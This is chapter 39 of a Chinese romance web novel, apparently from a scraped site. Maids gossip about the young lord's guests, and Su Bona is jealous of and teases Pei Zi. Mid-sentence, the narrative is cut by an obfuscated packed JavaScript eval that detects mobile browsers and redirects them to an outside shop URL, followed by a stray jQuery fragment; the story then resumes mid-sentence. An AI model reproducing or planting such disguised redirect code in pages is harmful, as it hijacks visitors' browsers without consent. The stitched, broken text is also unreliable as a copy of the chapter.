39. 第 39 章
作品:《与质子出逃后》 翌日清晨,院子里一片宁静,只有清扫落叶的声音与丫鬟窃窃私语的低声。
“昨日的花神游街你去了吗?”
“没呢,好可惜”
“是啊。娇娇昨日放假,听她说可热闹可精彩了。”
后搭话的丫鬟闻言更感遗憾,握着扫帚来回扫了几下长吁短叹。
先说话的丫鬟见她如此沮丧,不合时宜地露出了兴奋的神态,“雯雯,你不觉得,我们城内将有大喜之事将至吗?”
被称作雯雯的丫鬟被对方神秘兮兮的模样所感染,也忍不住压低声音贴近了些,“大喜事,什么呀?快快说来听听!”
只见那小丫鬟勾着脑袋左右观察了一番,确保自己的话没有第三人听见,才放心大胆的说起来,“二少主呀,你没见昨日出门时他身边跟着的两位女子吗?”
雯雯先是一愣随机嘴角耷拉下去,一副兴致恹恹的模样,摆了摆手,“嚯我以为什么呢,二少主风流潇洒,身边的红颜知己数不胜数,就冲那张惨绝人寰的脸蛋,身边就不缺漂亮姑娘好吧。”
也不怪二人敢如此编排洛渊。
岬落城不比其他各国,一座城就是一个国家。城主与少城主们是时时刻刻生活在子民的身边,自然不似其他国那般远在天边的疏远畏惧。
再加上洛渊本就风流倜傥,沾了些沾花惹草的臭毛病,平日里与这些下人们更是亲近许多。
那小丫鬟啧了一声,意味深长地咦了一声,“要不怎么说你呆脑袋不懂风月呢,你瞧着那些红颜知己,有哪个是到过这府里过得,这可是大姑娘上轿,头一遭啊!”
她越说越激动,最后一句话几乎是吼出来的,连旁边扫地的小丫鬟都吓了一跳,惊讶地望向她。
雯雯顿时明白了其中奥秘,夸张地捂着嘴巴,“这说明这一次——”
“不一般!”
两名小丫鬟激动地异口同声道。
雯雯彻底来了性质,更是直接用手指戳了戳红红的脑袋。“可究竟是谁呀,有两个姑娘呢?”
红红被戳的疼了,揉了揉额头,恨铁不成钢地瞅了她一眼,“这有什么看不出来的,肯定是那个个子矮些的。”
见雯雯还是迷茫未知的眨眼,红红耐心地解释,“咱们二少主向来喜欢的不是那种一碰就倒的弱柳扶风,就是那种感觉磕了碰了就红眼睛的小白兔,那位裴姑娘简直就是长在了二少主的心肝上好吗?”
“就凭这?”雯雯将信将疑道。
红红自信甩头,“当然不止。昨天二少主让我们为几位客人准备服饰的时候,可是特地叮嘱了要给裴姑娘最漂亮最亮眼的。为什么?当然是想要给自己心悦女子最好的啦!还有还有啊,你没见到吗,裴姑娘的眼睛可是总爱往二少主那边偷看呢!”
红红越说越激动,看样子简直是恨不得立刻就安排哪二人拜上天地呢。
“要我说......”
“咳咳。”
一声突兀的轻咳,打断了红红滔滔不绝的话语。
二人议论纷纷的声音戛然而止,猛地哆嗦了一下,心虚地抬眸超发声处看去。
只见一袭青衣的男子正站在那儿,俊美无铸的面容上满是阴沉,郁闷的目光似是能穿透人的皮肤,直达心底。
红红被男子浑身散发的强烈气势震慑到,不由自主地咽了一口唾沫,脚步踉跄了一下。
“苏、苏公子……”红红结结巴巴地唤道。
男子却没理会她,而是径直走过来。
雯雯吓坏了,双腿一软差点跪了下去,连忙伸手抓住红红的胳膊,颤抖着身体求饶道:"苏、苏公子息怒,小的不是故意的编排主子家的。”
二人颤抖着,却不敢抬头。
良久,就在她们以为即将因此被发卖时,头顶忽然响起一道悠长的叹息。
“抱歉,吓到你们了。”男子的嗓音带着一丝暗哑,却不失往日清亮,如泉水敲击在她们耳畔。
但这一句抱歉,却是说给红红和雯雯听的,让她们松了一口气。两个人这才敢抬头,对上那双黑曜石般明亮的眼眸。
苏博纳微眯着眼眸,眼底闪烁着复杂的情绪。
他看了看她们,又扫视了一圈,最终将视线停留在脑海里那个瘦小的身影上。
“你们刚刚说的……”
“我们都是瞎说的!”
还不等苏博纳把话说完,红红和雯雯就异口同声道,说完还不约而同地低头,声音里充满了慌乱和恐惧。
苏博纳见状,眉梢不易察觉地一沉。“不是,我是想问……”
“苏公子你饶了我们吧,我们真的不敢再乱说了。”雯雯心脏一缩,吓得冷汗直冒,连忙摇头否认。
见状,苏博纳心中再有万般疑惑也问不出口了。只得无奈挥挥手放她们离开。
二人顿时如释重负,心有余悸地抱着扫帚匆匆忙忙地跑离。
苏博纳目送着她们的背影消失在院外,又陷入了沉思,他的目光一瞬不瞬地盯着某处看了半晌,才恍惚回过神来。
看来自己方才的忽然出现的确是吓到她们了,可那并非他所愿。而是,这两个婢女谈话的内容,属实让他……很是不快。
小裴喜欢洛渊?
简直无稽之谈,小裴身边除了自己,她对任何其他人都是避之不及的,亲近都不曾亲近外人,更别说喜欢一个才相处没几日的人。
再说了……就算喜欢,也该是喜欢自己才对吧。苏博纳的脸有些燥红的发热,脑海中的念头却是止也止不住。
自己与小裴朝夕相处那么久,日久生情好不以为。更何况从往日她害羞,以及忍不住靠近却又屡屡生怯的种种迹象来看,小裴分明该是喜欢自己的才对。想到此处,苏博纳的心中又燃起了几分希冀。
院中秋风瑟瑟,吹拂着一地落叶沙沙作响,也摇动着燥热的心扉。
一片枯黄色的叶子被风卷入了空中,缓缓飘落,擦过少年英挺的鼻尖,又慢悠悠地掉进了泥土中。
站在院中的少年却忽然像是被这一幕勾回心神,猛然间转过身,飞快地朝不远处的水缸冲去。
哗啦!
溅起的水花四散而飞,落在一干的草木上,顷刻间便染湿了草木。
水花溅湿了苏博纳胸前的衣襟,他却顾不得这些,急匆匆地弯腰掬起了一捧水拍到自己脸上,试图将那份躁动压制住。
然而,却不管用。
“什么喜欢不喜欢。总是……小裴一定不会喜欢洛渊那个傻子的。”苏博纳自言自语道,又掬起一捧水浇在自己脸上。
他站在水缸边缘,低头望着水缸里那条不断挣扎游弋的锦鲤,脑海中却浮现出那个纤细娇柔的身影。
他的脸颊上不禁浮现出一抹红晕,心底的躁动渐渐平静了下来。
“干嘛呢你?”
身后,忽然响起一个熟悉而略带戏谑的嗓音。
苏博纳蓦然一怔,随后转过身,却见身后不知何时已经多了一个人。
洛渊双臂环胸,斜睨着他,“我这锦鲤游得好好的,怎么招惹你了。”
苏博纳抿了抿唇角,将手上的水珠甩出去,"这里凉快,你也过来洗洗吧。"
“哦?”洛渊挑了挑眉,眼底露出一抹兴味。“不开心?是你的裴妹妹不理你了?”
苏博纳紧咬牙关,瞪他一眼,“不提这两个字,你就不会说话了吗?”
“两个字。哪两个字?妹妹,还是……”洛渊嘴角噙着笑,“喜欢?”
苏博纳闻言脸色骤变。“胡说!什么喜欢不喜欢!”
洛渊挑了挑眉毛,一副“果然如此”的表情,“我是说我就喜欢提妹妹这两个字,你以为什么啊?”
该死,这家伙果然不算什么好人!
“油嘴滑舌,没腔调。”
苏博纳睥睨一眼,忿忿然来掩饰自己的失态。
二人这般说笑了许久后,其余几人也陆陆续续的起床出门。
陆抗又戴回了之前那副死气沉沉的面具,让人看不出悲欢喜乐,依旧像个无趣的木头。
当梁思恬拉着裴籽出来时,目光故作不经意的扫过时,正巧撞见那副不讨喜面具下的双眸。在那双眼睛试图传递某种情绪之前,她快速地收回目光,就似这一切与她而言并无所谓。
但被她牵着的裴籽,分明感觉到那双拉着自己的手,紧了紧。她仰目看去,心想恬妹或许还是不开心的。
“我们今天还去逛花神节吗,今天有什么有趣的呀?”梁思恬笑嘻嘻地问。
洛渊不屑一顾,故弄玄虚地摇晃着脑袋,“昨天都逛过了,今天当然要来点新奇的啊!”
梁思恬
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17373750|197869||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
暗暗咂舌,凑到裴籽耳边窃窃私语,“噫,原来说是三天,却并无多种花样,那他一开始还说的那样大言不惭。”
裴籽眨巴眨巴眼睛,微笑道:“别失望,我们昨日也玩得很开心呀。洛少主既然这样说了,今天应当也会很有趣的。”她抖擞精神,对此还是抱有很大希望的。
虽然话是这样说,但对于不能出去玩乐这件事,梁思恬还是有很大意见的。至于洛渊的话,她才不相信呢。
洛渊见状,心里不有升起一股挫败感。这些家伙居然敢质疑自己,不甘示弱道:“我这府中有意思的可多了,不信你问我苏兄。”
苏博纳被他不断蛄蛹过来的手肘恼的不堪忍受,只得硬着头皮道:“不错不错,你这地方是——诶?”
苏博纳的话戛然而止。
他的目光顺着裴籽别耳边碎发的手指上移到她耳畔的发,在那上面,他赫然瞧见了两朵粉红的花蕊!
“你......小裴?”苏博纳瞪大眼睛,惊愕地看向裴籽。
裴籽一愣,旋即尴尬地垂下脑袋,不由自主的伸出手,抚摸着那粉嫩的花瓣,脸色涨得通红,连说话的声音都不由得放轻了几分。
“我想,花儿总会败的,可那样未免有负你的一番好意,所以我就......”她的声音越来越小,最终化作蚊吟,消失在绯红的脸庞中。
今日醒来,梳洗时对着铜镜,她鬼使神差的就做了这一举动。现在看来,真真是丢人丢到家了。
苏博纳听着她的话,心中竟莫名其妙的升起一丝甜蜜,仿佛是被一缕温暖的阳光洒进了心窝。
“咳咳,好看,真好看!这也也算是它用得其所了。”苏博纳清了清嗓子,佯装镇定道。他的视线不自觉的飘向旁边,不敢看向那张红彤彤的脸庞。
“呦呦呦,是花好看,还是人好看呀!”
一道戏虐的嗓音打破了二人间奇妙的气氛,梁思恬一把拽住裴籽的胳膊,挤眉弄眼地问苏博纳。
“这还用问吗?我瞧苏兄的意思分明是花好看,可人更是好看呐!”洛渊在一旁煽风点火,语气中难掩幸灾乐祸。
裴籽听不甚明白这二人话中的弯弯绕绕,可也清楚这定是在打趣自己。想来又定然是由耳畔的两朵花蕊惹出的事端,一时间抬手到耳边竟不知道是该摘还是不该。
羞愧难当之下,她抽出被梁思恬挽着的手臂,小跑到苏博纳身侧,拉了拉他的袖口,低下头,声若蚊蝇般地唤了声,“苏子,不然我还是取下来吧。”
昨日抛下来的花蕊定是被事先泡过香料了,在率先闻到一抹淡淡幽香时,苏博纳不禁这样想。
“别听他们胡说八道。那二人就爱开玩笑。”他声音不自觉地软了几分,伸手替她正了正花蕊,又轻声叮咛了几句,“不过洛渊有一句话说的却正合我意。花儿漂亮,却还是不如你。”
裴籽愣了一下,脸色腾的冒红,直冲颅顶。她咬了咬唇,忽然就着衣袖拧了苏博纳一下,力道不轻不重,却让人难以忽视。
“我瞧你也在胡说八道,和他们一样爱开玩笑。”
“哎呦,疼!”苏博纳捂着肩膀,龇牙咧嘴地揉着被拧的地方。
裴籽见状忙收了手,有些慌乱,一双杏仁大眼扑闪扑闪地盯着苏博纳看,“怎么,弄疼了吗?”
苏博纳还是一个劲儿捂着地方“哎呦,哎呦”的叫唤不停,裴籽心中又是一阵懊悔,怎么就改了寻常出手拧了人呢。
她连忙抓住苏博纳的手臂,踌躇不决着,“我看看,该是青了。”裴籽一边说着一边担忧地把着他的手臂。
忧虑抬眸间,正对上苏博纳狡黠含笑的眼睛。只犹豫迟疑了几秒,裴籽便知自己上当了,顿时羞怒交加。
“你又戏弄我!“她跺脚嗔怪,一脸娇憨。
“胡说,我从不胡说八道。”苏博纳一开始还装出一副一本正经的样子,可没撑几秒盯着裴籽就破了功,被逗得哈哈大笑起来,“小裴,你怎么总也上当!”
“你......”
裴籽一时无言以对,只得气呼呼地瞪着他。
苏博纳见此,心里愈发愉悦。
一旁的梁思恬瞧着两人的互动,一脸“这也太没出息”的嫌弃表情。
这二人自以为背着人不被发现的耳鬓厮磨,却不知道要多明显有多明显。

